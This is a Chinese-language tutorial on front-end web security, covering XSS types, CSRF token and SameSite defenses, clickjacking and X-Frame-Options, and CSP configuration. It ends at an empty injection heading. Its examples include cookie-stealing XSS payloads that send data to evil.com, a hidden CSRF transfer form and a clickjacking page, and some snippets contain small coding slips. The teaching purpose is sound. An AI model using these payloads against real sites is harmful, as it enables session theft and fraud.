前端安全攻防体系:XSS/CSRF/注入/同源策略深度解析
📋 目录
一、XSS攻击类型与防御
1.1 XSS攻击概述
跨站脚本攻击(Cross-Site Scripting,XSS)是最常见的前端安全威胁之一。它允许攻击者将恶意脚本注入到可信网站的页面中,当其他用户浏览该页面时,恶意脚本就会在用户的浏览器中执行。XSS攻击可以窃取用户的Cookie、Session Token等敏感信息,甚至劫持用户会话或重定向到恶意网站。
根据攻击脚本的注入和传播方式,XSS攻击主要分为三种类型:反射型XSS、存储型XSS和DOM型XSS。理解这三种类型的区别和攻击原理,是构建有效防御体系的基础。
// XSS攻击的基本原理
// 假设一个搜索页面,将用户的输入直接渲染到页面上
// 不安全的做法(存在XSS漏洞):
function renderSearchResult(query) {
// 直接将用户输入插入HTML
document.getElementById('result').innerHTML =
'<h3>搜索结果: ' + query + '</h3>';
}
// 攻击者构造恶意URL:
// https://example.com/search?q=<script>alert('XSS')</script>
// 当用户访问该URL时,页面会渲染:
// <h3>搜索结果: <script>alert('XSS')</script></h3>
// 浏览器将执行 <script> 标签内的代码
// 更危险的攻击(窃取Cookie):
// https://example.com/search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
// XSS漏洞的三大类型概览
/*
反射型XSS (Reflected XSS)
┌────────┐ 恶意链接 ┌────────┐
│ 攻击者 │ ──────────────▶ │ 受害者 │
└────────┘ └────────┘
│
│ 访问恶意URL
▼
┌──────────┐
│ 目标服务器 │
│ (不安全) │
└──────────┘
│
│ 反射恶意脚本
▼
┌────────┐
│ 受害者 │ ← 执行恶意脚本
└────────┘
存储型XSS (Stored XSS)
┌────────┐ 提交恶意内容 ┌────────┐
│ 攻击者 │ ──────────────▶ │ 数据库 │
└────────┘ └────────┘
│
│ 其他用户请求该内容
▼
┌────────┐
│ 受害者 │ ← 执行恶意脚本
└────────┘
DOM型XSS (DOM-based XSS)
客户端JavaScript直接从URL/URLFragment/Referer等
来源读取数据,未经过滤就写入DOM
*/
1.2 反射型XSS与防御
反射型XSS(Reflected XSS)是最常见的XSS攻击类型。攻击者通过构造带有恶意参数的URL,诱骗用户点击。服务器接收到请求后,会将恶意脚本"反射"到响应页面中。由于攻击脚本需要用户的点击来触发,反射型XSS也被称为"非持久型XSS"。
防御反射型XSS的核心策略是:输入验证和输出编码。输入验证确保用户提交的数据符合预期格式,输出编码确保数据在HTML、JavaScript、CSS等不同上下文中被正确转义。此外,设置Cookie的HttpOnly属性可以防止恶意脚本窃取用户会话。
// 反射型XSS攻击示例与防御
// ============ 攻击示例 ============
// 不安全的搜索页面(Node.js Express)
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ 直接将用户输入插入HTML
res.send(`<h1>搜索结果: ${query}</h1>`);
});
// 攻击URL:
// /search?q=<img src=x onerror="fetch('https://evil.com/steal',{method:'POST',body:document.cookie})">
// ============ 防御措施 ============
// 防御1:HTML实体编码
function escapeHtml(str) {
const htmlEntities = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
};
return str.replace(/[&<>"'\/]/g, char => htmlEntities[char]);
}
// 安全版本
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`<h1>搜索结果: ${query}</h1>`);
// 输出: <h1>搜索结果: <img src=x onerror=...></h1>
});
// 防御2:使用安全的模板引擎(自动转义)
// Handlebars(默认自动转义HTML)
/*
<h1>搜索结果: \{\{query\}\}</h1>
*/
// 防御3:Cookie设置HttpOnly
app.use((req, res, next) => {
res.cookie('sessionId', token, {
httpOnly: true, // 禁止JS访问Cookie
secure: true, // 仅HTTPS传输
sameSite: 'strict', // 限制跨站请求携带Cookie
});
next();
});
// 防御4:输入验证(白名单策略)
function validateSearchQuery(input) {
// 只允许中文、英文字母、数字和空格
return input.replace(/[^\u4e00-\u9fa5a-zA-Z0-9\s]/g, '');
}
1.3 存储型XSS与防御
存储型XSS(Stored XSS)是最危险的XSS类型。攻击者的恶意脚本被永久保存在服务器端(如数据库、评论、用户资料等),当其他用户访问相应页面时,恶意脚本自动执行。与反射型XSS不同,存储型XSS不需要诱骗用户点击特定链接,因此危害范围更广。
防御存储型XSS需要全链路防护:在数据入口(表单提交)进行输入验证,在数据存储阶段保持数据原样(不进行转义),在数据输出阶段(渲染到页面)进行上下文感知的编码。关键原则是"存储时不处理,输出时再转义",以确保数据的完整性和安全性。
// 存储型XSS攻击示例与防御
// ============ 攻击示例 ============
// 评论功能(存在储存型XSS漏洞)
app.post('/api/comment', (req, res) => {
// ❌ 直接存储用户输入
const comment = {
content: req.body.content,
author: req.body.author,
date: new Date(),
};
db.comments.insert(comment); // 直接存入数据库
res.json({ success: true });
});
// 攻击者提交评论:
// content: <script>
// var img = new Image();
// img.src = 'https://evil.com/steal?cookie=' + document.cookie;
// </script>
// 所有查看该页面的用户都会自动执行这段恶意脚本
// ============ 防御措施 ============
// 防御1:输入侧——白名单过滤
// 允许安全的HTML标签(富文本场景)
const allowedTags = ['b', 'i', 'u', 'em', 'strong', 'a', 'p', 'br'];
const allowedAttrs = ['href', 'target', 'rel'];
function sanitizeHTML(input) {
// 使用DOMPurify(推荐)或自定义过滤
// npm install dompurify jsdom
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: allowedTags,
ALLOWED_ATTR: allowedAttrs,
ALLOW_DATA_ATTR: false,
});
}
// 防御2:输出侧——上下文感知编码
// 前端渲染时使用安全的框架(React、Vue等)
// React默认对所有输出进行HTML编码
/*
function Comment({ content }) {
// ❌ React会自动转义 content
return <div dangerouslySetInnerHTML=\{\{ __html: content \}\} />;
// ✅ 推荐:使用安全渲染
return <div>{content}</div>;
}
*/
// 防御3:后端输出编码(不依赖前端)
app.get('/comments', async (req, res) => {
const comments = await db.comments.find();
// 对输出进行编码
const safeComments = comments.map(c => ({
...c,
content: escapeHtml(c.content),
}));
res.json(safeComments);
});
// 防御4:使用模板引擎自动转义
// EJS (默认转义)
// <%= content %> → 转义输出
// <%- content %> → 原始输出(危险,避免使用)
1.4 DOM型XSS与防御
DOM型XSS(DOM-based XSS)是一种纯客户端攻击,服务端响应页面本身没有问题。攻击脚本通过客户端JavaScript从URL参数、URL片段(hash)、document.referrer、window.name、localStorage等客户端源读取恶意数据,并将这些数据写入DOM。由于攻击完全发生在客户端,服务端无法通过常规的输入过滤来防御。
防御DOM型XSS的关键是避免直接操作DOM,或者在使用前对数据源进行严格验证。推荐使用现代框架(React、Vue等)的声明式渲染,因为这些框架默认会对输出进行编码。对于必须手动操作DOM的场景,使用textContent而非innerHTML,或者使用安全的DOM API。
// DOM型XSS攻击示例与防御
// ============ 攻击示例 ============
// 从URL hash中读取数据并插入DOM
// 页面URL: https://example.com/#/profile/<script>alert(1)</script>
// ❌ 危险代码
function renderProfile() {
const hash = window.location.hash;
// hash = "#/profile/"
document.getElementById('content').innerHTML = hash;
}
// 更隐蔽的攻击方式
// URL: https://example.com/#/profile
// ?callback=javascript:alert(document.cookie)
// ❌ 危险代码
function getCallback() {
const match = window.location.search.match(/callback=(.*?)(&|$)/);
if (match) {
// 直接eval用户输入
eval(match[1]); // ❌ 极度危险
}
}
// ============ 防御措施 ============
// 防御1:使用安全的DOM API
// ❌ innerHTML(危险)
element.innerHTML = userInput;
// ✅ textContent(安全)
element.textContent = userInput;
// ✅ 创建元素(安全)
const span = document.createElement('span');
span.textContent = userInput;
document.getElementById('content').appendChild(span);
// 防御2:避免使用 eval 和 new Function
// ❌ eval(), new Function(), setTimeout(string)
eval("alert('hello')"); // 危险
new Function("return " + data); // 危险
setTimeout("alert('hello')", 1000); // 危险
// 防御3:使用浏览器的 Safe Assignment API
// Element.setHTML()(实验性,更安全)
// 使用DOMPurify + innerHTML组合
function setSafeHTML(element, html) {
const clean = DOMPurify.sanitize(html);
element.innerHTML = clean;
}
// 防御4:URL参数验证
function getUrlParam(name) {
const params = new URLSearchParams(window.location.search);
const value = params.get(name);
if (!value || !isValidRedirect(value)) {
return '';
}
return value;
}
function isValidRedirect(url) {
try {
const parsed = new URL(url, window.location.origin);
// 只允许同源URL
return parsed.origin === window.location.origin;
} catch {
return false;
}
}
// 防御5:编码URL参数
function encodeRedirectParam(url) {
return encodeURIComponent(url)
.replace(/%3A/gi, ':')
.replace(/%2F/gi, '/');
}
1.5 XSS防御的最佳实践框架
构建完整XSS防御体系需要在输入、存储、输出三个层面同时部署防护措施。输入层面进行验证和过滤,存储层面保持数据完整性,输出层面根据上下文进行编码。以下是一个完整的XSS防御框架实现。
除了上述技术措施,还需要建立安全编码规范和安全审查流程。使用自动化工具(如ESLint安全插件、SonarQube)在CI/CD流水线中检测潜在漏洞,定期进行安全审计和渗透测试。
// 完整XSS防御框架
class XSSDefender {
constructor() {
this.encoder = {
// HTML编码
html: (str) => {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
},
// URL编码
url: (str) => encodeURIComponent(str),
// CSS编码
css: (str) => {
return str.replace(/[^a-zA-Z0-9]/g, (char) => {
return '\\' + char.charCodeAt(0).toString(16).padStart(6, '0');
});
},
// JavaScript字符串编码
js: (str) => {
return str
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/'/g, "\\'")
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
},
};
}
// 根据上下文自动选择编码方式
encode(data, context) {
if (!data) return '';
switch (context) {
case 'html-content': // HTML元素内容
case 'html-attribute': // HTML属性值
return this.encoder.html(data);
case 'url': // URL参数
return this.encoder.url(data);
case 'js-string': // JavaScript字符串
return this.encoder.js(data);
case 'css-value': // CSS值
return this.encoder.css(data);
default:
return data;
}
}
// 安全的HTML渲染(允许部分安全标签)
sanitizeHTML(html, options = {}) {
const DOMPurify = require('dompurify');
// 使用JSDOM创建window对象
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
return purify.sanitize(html, {
ALLOWED_TAGS: options.allowedTags || [
'a', 'b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
],
ALLOWED_ATTR: options.allowedAttrs || [
'href', 'target', 'rel', 'class', 'id',
],
ALLOW_DATA_ATTR: false,
STRICT_PROCESSING: true,
ADD_ATTR: ['target'], // 默认给所有链接添加target
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
});
}
// 安全设置Cookie
secureCookie(name, value, options = {}) {
return {
name,
value,
options: {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
...options,
},
};
}
}
// 使用示例
const defender = new XSSDefender();
// 编码用户输入
const userComment = '<script>alert("xss")</script>';
console.log(defender.encode(userComment, 'html-content'));
// 输出: <script>alert("xss")</script>
// 安全渲染富文本
const userHTML = '<p>Hello <script>alert(1)</script></p>';
console.log(defender.sanitizeHTML(userHTML));
// 输出: <p>Hello </p>
二、CSRF攻击原理与Token防护
2.1 CSRF攻击原理
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种利用用户已登录的身份,在用户不知情的情况下以用户名义发送恶意请求的攻击方式。攻击者通过构造恶意页面,诱导用户访问,当用户访问时该页面会自动发起对目标网站的请求(如图片、表单提交等),由于浏览器会自动携带该网站的Cookie,请求看起来是合法的。
CSRF攻击成立的核心条件是:Cookie自动携带(浏览器会自动将目标域名的Cookie附加到请求中)和无法验证请求来源(服务端无法区分请求是用户主动发起的还是攻击者伪造的)。防御CSRF的核心思路就是破坏这两个条件。
// CSRF攻击原理详解
// ============ CSRF攻击流程 ============
/*
场景:银行的转账接口
1. 用户登录银行网站 bank.com,获得有效Session Cookie
2. 用户没有登出,继续访问其他网站
3. 攻击者构造恶意页面 evil.com
4. 用户访问 evil.com,页面自动发起对 bank.com 的请求
5. 用户的Cookie自动附加到请求中
6. bank.com 认为请求来自已登录的用户,执行转账操作
*/
// ============ 攻击代码示例 ============
// 攻击者的恶意页面 evil.com/index.html
/*
<!DOCTYPE html>
<html>
<body>
<h1>领取优惠券</h1>
<!-- 用户看不见的图片标签 -->
<img src="https://bank.com/api/transfer?to=attacker&amount=10000"
style="display:none" />
<!-- 或者用自动提交的表单 -->
<form id="steal" action="https://bank.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('steal').submit();</script>
</body>
</html>
*/
// ============ CSRF攻击成功条件 ============
const csrfConditions = {
'1. HTTP仅使用Cookie鉴权': true, // ❌ 如果API使用Token+不依赖Cookie,则不受影响
'2. 请求不需要自定义Header': true, // ❌ 如果要求X-CSRF-Token,则攻击失败
'3. 同源策略不阻止请求发送': true, // ✅ 同源策略阻止读取响应,但不阻止发送请求
'4. 服务端没有Referer验证': true, // ❌ 如果检查Referer,可以拦截跨站请求
'5. Cookie没有SameSite属性': true, // ❌ SameSite属性可以防止跨站Cookie发送
};
console.log('CSRF攻击风险评分:',
Object.values(csrfConditions).filter(Boolean).length, '/ 5');
2.2 CSRF Token防护机制
CSRF Token是最广泛使用的CSRF防御手段。其核心思想是:在服务端生成一个随机的、不可预测的Token,嵌入到表单或请求头中。当用户提交请求时,服务端验证Token的合法性。由于攻击者的页面无法获取到这个Token(受同源策略限制),因此伪造的请求将无法通过验证。
CSRF Token的生成和验证需要在服务端完成。Token应该是加密安全的随机数,具有足够的熵(至少128位),并且与用户会话绑定。Token可以存储在Session中,也可以通过加密算法生成的Token(不需要服务端存储,但需要解密验证)。
// CSRF Token 完整实现
// ============ 服务端:生成Token ============
const crypto = require('crypto');
class CSRFTokenManager {
constructor(secret) {
this.secret = secret || crypto.randomBytes(32).toString('hex');
this.tokenExpiry = 3600000; // 1小时过期
}
// 生成Token(基于Session的HMAC方案)
generateToken(sessionId) {
const timestamp = Date.now().toString();
const payload = `${sessionId}.${timestamp}`;
// 使用HMAC-SHA256签名
const hmac = crypto.createHmac('sha256', this.secret);
hmac.update(payload);
const signature = hmac.digest('hex');
// Token格式: sessionId.timestamp.signature
return Buffer.from(`${payload}.${signature}`).toString('base64');
}
// 验证Token
validateToken(token, sessionId) {
try {
const decoded = Buffer.from(token, 'base64').toString('utf8');
const parts = decoded.split('.');
if (parts.length !== 3) return false;
const [tokenSessionId, timestamp, signature] = parts;
// 验证Session匹配
if (tokenSessionId !== sessionId) return false;
// 验证过期时间
const age = Date.now() - parseInt(timestamp);
if (age > this.tokenExpiry) return false;
// 验证签名
const hmac = crypto.createHmac('sha256', this.secret);
hmac.update(`${tokenSessionId}.${timestamp}`);
const expectedSig = hmac.digest('hex');
// 使用常量时间比较防止时序攻击
if (signature.length !== expectedSig.length) return false;
return crypto.timingSafeEqual(
Buffer.from(signature),
Buffer.from(expectedSig)
);
} catch {
return false;
}
}
}
// ============ 服务端:中间件集成 ============
const express = require('express');
const app = express();
const csrfManager = new CSRFTokenManager();
// 生成CSRF Token并注入到响应中
app.use((req, res, next) => {
if (req.session) {
// 为当前会话生成Token
const token = csrfManager.generateToken(req.session.id);
res.locals.csrfToken = token;
// 设置CSRF Token Cookie(前端读取用)
res.cookie('csrf-token', token, {
httpOnly: false, // 前端需要读取
secure: true,
sameSite: 'strict',
});
}
next();
});
// CSRF验证中间件
function csrfProtection(req, res, next) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.headers['x-csrf-token'] || req.body._csrfToken;
if (!token || !csrfManager.validateToken(token, req.session.id)) {
return res.status(403).json({
error: 'CSRF验证失败',
message: '请求被拦截,可能存在CSRF攻击',
});
}
}
next();
}
app.use(csrfProtection);
// ============ 前端:自动注入Token ============
// 使用fetch API自动添加CSRF Token
function createSecureFetcher() {
// 从Cookie中读取CSRF Token
function getCookieValue(name) {
const match = document.cookie.match(new RegExp(`(^| )${name}=([^;]+)`));
return match ? decodeURIComponent(match[2]) : null;
}
return {
async request(url, options = {}) {
const csrfToken = getCookieValue('csrf-token');
const headers = {
...options.headers,
'X-CSRF-Token': csrfToken || '',
};
const response = await fetch(url, {
...options,
headers,
credentials: 'include', // 携带Cookie
});
return response;
},
get(url, options) {
return this.request(url, { ...options, method: 'GET' });
},
post(url, data, options) {
return this.request(url, {
...options,
method: 'POST',
headers: { 'Content-Type': 'application/json', ...options.headers },
body: JSON.stringify(data),
});
},
};
}
2.3 SameSite Cookie属性
SameSite是Cookie的一个安全属性,用于控制Cookie在跨站请求中的发送行为。这是现代浏览器对CSRF攻击的原生防御机制。SameSite有三种取值:Strict(最安全,但可能影响用户体验)、Lax(默认值,平衡安全与体验)和None(不安全,但必须配合Secure属性)。
SameSite=Lax模式下,Cookie只会在顶级导航(如点击链接)时发送,而不会在嵌入请求(如图片、iframe、AJAX请求)中发送。这可以防御大部分CSRF攻击。但对于一些需要跨站点访问的场景(如支付回调),可能需要设置为None。
// SameSite Cookie 详解
// ============ SameSite三种模式 ============
/*
SameSite=Strict
- 最安全
- Cookie只在同站请求中发送
- 即使从链接访问也不会发送
- 场景:银行、支付等敏感操作
SameSite=Lax(Chrome 80+ 默认值)
- 平衡安全与体验
- Cookie在顶级导航(链接、GET表单)时发送
- 不发送到嵌入请求(图片、iframe、XHR)
- 适用于大多数Web应用
SameSite=None
- 允许跨站发送Cookie
- 必须同时设置 Secure(仅HTTPS)
- 场景:嵌入式工具、CDN资源、第三方认证
*/
// ============ 实际配置示例 ============
const express = require('express');
const app = express();
// 通用安全Cookie配置
app.use((req, res, next) => {
// 修改express默认的cookie-session配置
const originalCookie = res.cookie.bind(res);
res.cookie = function(name, value, options = {}) {
// 默认安全配置
const secureOptions = {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax', // 默认Lax模式
path: '/',
maxAge: 86400000, // 24小时
...options,
};
return originalCookie(name, value, secureOptions);
};
next();
});
// 不同场景的Cookie配置
const cookieConfigs = {
// 登录Session(使用Lax,平衡安全与体验)
sessionCookie: {
name: 'session_id',
options: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 7 * 24 * 3600 * 1000, // 7天
},
},
// CSRF Token(需要前端读取,不能httpOnly)
csrfCookie: {
name: 'csrf_token',
options: {
httpOnly: false,
secure: true,
sameSite: 'strict',
},
},
// 跨站支付回调(必须在第三方上下文中工作)
paymentCookie: {
name: 'payment_session',
options: {
httpOnly: true,
secure: true,
sameSite: 'none', // 允许跨站
},
},
};
// ============ 浏览器兼容性处理 ============
// 检测浏览器是否支持SameSite
function supportsSameSite() {
return navigator.cookieEnabled &&
typeof document.cookie === 'string';
}
// 优雅降级:不支持SameSite的浏览器使用其他防护
function getFallbackProtection() {
const userAgent = navigator.userAgent;
// 旧版Safari (macOS 10.14及以下) 不支持SameSite
if (/OS X 10_14|OS X 10_13/.test(userAgent)) {
return 'csrf-token'; // 使用CSRF Token方案
}
// 旧版Chrome (< 67) 不支持SameSite
if (/Chrome\/[0-6][0-6]/.test(userAgent)) {
return 'double-submit-cookie'; // 使用双重Cookie方案
}
return 'same-site'; // 正常使用SameSite
}
三、点击劫持与X-Frame-Options
3.1 点击劫持原理
点击劫持(Clickjacking)是一种视觉欺骗攻击。攻击者将目标网站通过透明iframe嵌入到恶意页面中,然后在iframe上方放置一些诱人的按钮或链接。用户看到的表面内容是攻击者设计的诱饵(如"点击领取优惠券"),但实际点击的是隐藏在透明iframe中的目标网站元素(如"确认转账"按钮)。用户无意识中执行了攻击者期望的操作。
点击劫持利用了HTML的透明度和z-index特性,以及iframe的跨域加载能力。防御点击劫持的核心是禁止页面在iframe中加载,或者通过JavaScript帧破出(Frame Busting)技术来检测和阻止。
// 点击劫持攻击示例与防御
// ============ 攻击代码示例 ============
/*
攻击者页面 evil.com/clickjack.html:
<!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 500px;
opacity: 0.001; /* 几乎透明的iframe */
z-index: 10;
}
.trap {
position: absolute;
top: 200px;
left: 100px;
z-index: 1;
}
.attractive-button {
font-size: 24px;
padding: 20px 40px;
background: gold;
cursor: pointer;
}
</style>
</head>
<body>
<!-- 诱饵按钮 -->
<div class="trap">
<button class="attractive-button">
🎁 点击领取100元优惠券
</button>
</div>
<!-- 透明的目标网站iframe -->
<iframe src="https://bank.com/transfer"></iframe>
</body>
</html>
*/
// ============ 传统JS帧破出(Frame Busting)============
// 在目标网站的页面中添加
if (top !== self) {
// 如果页面被嵌入iframe,跳出
top.location = self.location;
} else {
// 正常加载
}
// 但这种方案可以被绕过
// 攻击者的对抗方案:
/*
// 利用沙盒属性阻止帧破出
<iframe src="https://bank.com/transfer"
sandbox="allow-forms allow-scripts"></iframe>
// sandbox属性会移除:
// - allow-top-navigation(阻止修改top.location)
// - allow-same-origin(阻止访问parent/self等)
*/
3.2 X-Frame-Options响应头
X-Frame-Options是服务端通过HTTP响应头来控制页面是否允许被嵌入到iframe中的安全策略。它有三种取值:DENY(完全禁止嵌入任何frame)、SAMEORIGIN(仅允许同源页面嵌入)和ALLOW-FROM uri(允许指定来源嵌入,但支持有限)。这是防御点击劫持最可靠的方式。
建议对所有包含交互操作(如表单、支付、敏感信息展示)的页面设置X-Frame-Options为DENY或SAMEORIGIN。对于需要被第三方嵌入的页面(如第三方登录回调页面),可以使用Content Security Policy的frame-ancestors指令作为更现代的替代方案。
// X-Frame-Options 配置方案
// ============ 服务端配置 ============
const express = require('express');
const app = express();
// 全局配置(所有页面禁止iframe)
app.use((req, res, next) => {
// 现代方式:使用CSP
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'none';" // 禁止所有iframe嵌入
);
// 兼容方式:使用X-Frame-Options
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// 按需要配置
function configureFrameProtection(app) {
// 敏感页面(交易、支付、管理后台)
const sensitivePaths = [
'/api/transfer',
'/api/payment',
'/admin',
'/account/delete',
];
app.use(sensitivePaths, (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'none'"
);
next();
});
// 需要被同源页面嵌入的页面
app.use('/embed', (req, res, next) => {
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'self'"
);
next();
});
// 允许特定第三方嵌入(如支付回调)
app.use('/payment', (req, res, next) => {
if (process.env.NODE_ENV === 'production') {
res.setHeader('X-Frame-Options', 'DENY');
} else {
// 开发环境使用CSP允许特定域名
res.setHeader(
'Content-Security-Policy',
"frame-ancestors https://trusted-payment.com"
);
}
next();
});
}
// ============ Nginx配置 ============
/*
# nginx.conf
server {
# 全局禁止iframe
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;
# 特定路径允许同源
location /embed/ {
add_header X-Frame-Options "SAMEORIGIN";
add_header Content-Security-Policy "frame-ancestors 'self'";
}
# 支付回调路径
location /payment/ {
add_header X-Frame-Options "SAMEORIGIN";
}
}
*/
// ============ Apache配置 ============
/*
# .htaccess
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none'"
*/
// ============ 配置对比表 ============
/*
X-Frame-Options 取值对比:
DENY → 完全禁止,最安全
SAMEORIGIN → 允许同源嵌入
ALLOW-FROM → 已废弃,CSP替代
CSP frame-ancestors 取值对比:
'none' → 完全禁止
'self' → 允许同源
→ 允许指定域名
* → 允许多个域名
*/
四、CSP内容安全策略配置
4.1 CSP工作原理
内容安全策略(Content Security Policy,CSP)是浏览器提供的一层额外安全防护机制,用于检测和缓解各种类型的攻击,包括XSS、数据注入和点击劫持等。CSP通过HTTP响应头中的Content-Security-Policy字段来告诉浏览器哪些资源可以被加载和执行,从而有效限制攻击者的注入行为。
CSP的核心思想是白名单策略:只允许从声明为安全的来源加载资源,其他所有来源的资源都会被浏览器拦截。CSP可以控制脚本、样式、图片、字体、连接、媒体、框架等各类资源的加载行为。
// CSP配置详解
// ============ CSP指令大全 ============
/*
脚本控制:
script-src → 允许加载的脚本来源
script-src-elem → 允许加载的脚本元素来源(HTML)
script-src-attr → 允许执行的内联事件处理程序
样式控制:
style-src → 允许加载的样式表来源
style-src-elem → 允许的样式元素来源
其他资源:
img-src → 允许加载的图片来源
font-src → 允许加载的字体来源
connect-src → 允许的API连接来源(fetch、XHR)
media-src → 允许的媒体文件来源
frame-src → 允许嵌入的frame来源
frame-ancestors → 允许嵌入当前页面的frame来源
object-src → 允许加载的插件来源(已弃用)
prefetch-src → 允许预读取的来源
文档控制:
base-uri → 允许的<base>标签来源
form-action → 允许的<form>提交目标
manifest-src → 允许的Web Manifest来源
获取报告:
report-uri → 违规报告接收地址(已弃用)
report-to → 违规报告接收组(新标准)
其他:
upgrade-insecure-requests → 自动升级HTTP为HTTPS
block-all-mixed-content → 阻止混合内容
*/
// ============ 严格CSP配置 ============
// 最安全的配置:禁止所有外部资源
const strictCSP = [
"default-src 'none'", // 默认禁止所有资源
"script-src 'self'", // 只允许同源脚本
"style-src 'self'", // 只允许同源样式
"img-src 'self' data:", // 允许同源图片和base64
"font-src 'self'", // 只允许同源字体
"connect-src 'self'", // 只允许同源AJAX
"frame-ancestors 'none'", // 禁止iframe嵌入
"base-uri 'self'", // 只允许同源base标签
"form-action 'self'", // 只允许同源表单提交
].join('; ');
// ============ 宽松CSP配置(适合CDN、第三方库)============
const relaxedCSP = [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net",
"style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net",
"img-src 'self' data: https://*.cloudfront.net https://img-blog.csdn.net",
"font-src 'self' data: https://fonts.googleapis.com",
"connect-src 'self' https://api.example.com wss://ws.example.com",
"frame-src 'self' https://trusted-widget.com",
"form-action 'self' https://payment-gateway.com",
"base-uri 'self'",
"upgrade-insecure-requests",
].join('; ');
4.2 CSP实战配置策略
CSP配置需要在安全性和可用性之间找到平衡。过于严格的配置会破坏网站的正常功能(如内联脚本、CDN资源加载等),而过于宽松的配置则失去了防护意义。推荐的策略是"从严格开始,逐步放宽":先使用report-only模式(Content-Security-Policy-Report-Only)收集违规报告,根据实际需要调整策略,然后再启用拦截模式。
对于需要加载动态脚本的场景(如代码编辑器、BI看板等),可以使用nonce值(一次性随机数)或hash值来允许特定的内联脚本执行,而不是直接使用unsafe-inline。
// CSP高级配置技巧
// ============ Nonce机制(推荐)============
// 允许特定内联脚本执行,而非全部
// 服务端生成nonce
const crypto = require('crypto');
app.use((req, res, next) => {
// 为每个请求生成唯一nonce
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
// 设置CSP头
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}'`,
"style-src 'self' 'nonce-${nonce}'",
].join('; '));
next();
});
// 前端使用nonce
/*
<script nonce=\"\">
// 这个脚本会被允许执行
initApp();
</script>
<script>
// 这个脚本会被阻止(没有nonce)
alert('blocked');
</script>
*/
// ============ Hash机制 =============
// 为固定内容的内联脚本生成hash
function generateScriptHash(scriptContent) {
const crypto = require('crypto');
const hash = crypto
.createHash('sha256')
.update(scriptContent)
.digest('base64');
return `'sha256-${hash}'`;
}
// 预计算hash并配置
const inlineScript = 'console.log("hello")';
const scriptHash = generateScriptHash(inlineScript);
console.log(scriptHash);
// 输出: 'sha256-xxxxxxxxx...'
// 配置CSP
res.setHeader('Content-Security-Policy', [
`script-src 'self' ${scriptHash}`,
].join('; '));
// ============ Report-Only模式(推荐上线前使用)============
// 只收集违规报告,不阻止资源加载
res.setHeader(
'Content-Security-Policy-Report-Only',
[
"default-src 'self'",
"script-src 'self' 'unsafe-inline'",
"report-uri /csp-violation-report",
].join('; ')
);
// 接收违规报告
app.post('/csp-violation-report', (req, res) => {
const report = req.body;
console.log('CSP违规报告:', {
'违规指令': report['violated-directive'],
'禁止的资源': report['blocked-uri'],
'来源页面': report['document-uri'],
'来源脚本': report['script-sample'],
'时间': new Date().toISOString(),
});
// 可以记录到日志或监控系统
logSecurityEvent('csp-violation', report);
res.status(204).end();
});
// ============ 使用 Report-To header ============
app.use((req, res, next) => {
// 使用Report-To API(新标准)
res.setHeader('Report-To', JSON.stringify({
group: 'csp-endpoint',
max_age: 86400,
endpoints: [{ url: 'https://example.com/report' }],
}));
// 在CSP中引用report组
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self'",
"report-to csp-endpoint",
].join('; '));
next();
});
// ============ 安全审计:验证CSP配置 ============
// 浏览器开发者工具中检查CSP违规
// 命令行验证工具:CSP Evaluator
// https://csp-evaluator.withgoogle.com/
// 使用Node.js验证CSP配置
function validateCSP(cspString) {
const directives = cspString.split(';').map(d => d.trim());
const errors = [];
// 检查是否使用了'self'
const hasScriptSelf = directives.some(d =>
d.startsWith('script-src') && d.includes("'self'")
);
// 如果没有指定script-src,则使用default-src
const hasDefaultSrc = directives.some(d =>
d.startsWith('default-src')
);
if (!hasScriptSelf && !hasDefaultSrc) {
errors.push('警告: 未限制脚本来源,存在安全风险');
}
// 检查是否使用了unsafe-inline
const hasUnsafeInline = directives.some(d =>
d.includes("'unsafe-inline'")
);
if (hasUnsafeInline) {
errors.push('警告: 使用了unsafe-inline,XSS防护效果减弱');
}
return {
valid: errors.length === 0,
warnings: errors,
};
}
五、前端注入攻击
5.1 SQL/NoSQL注入攻击
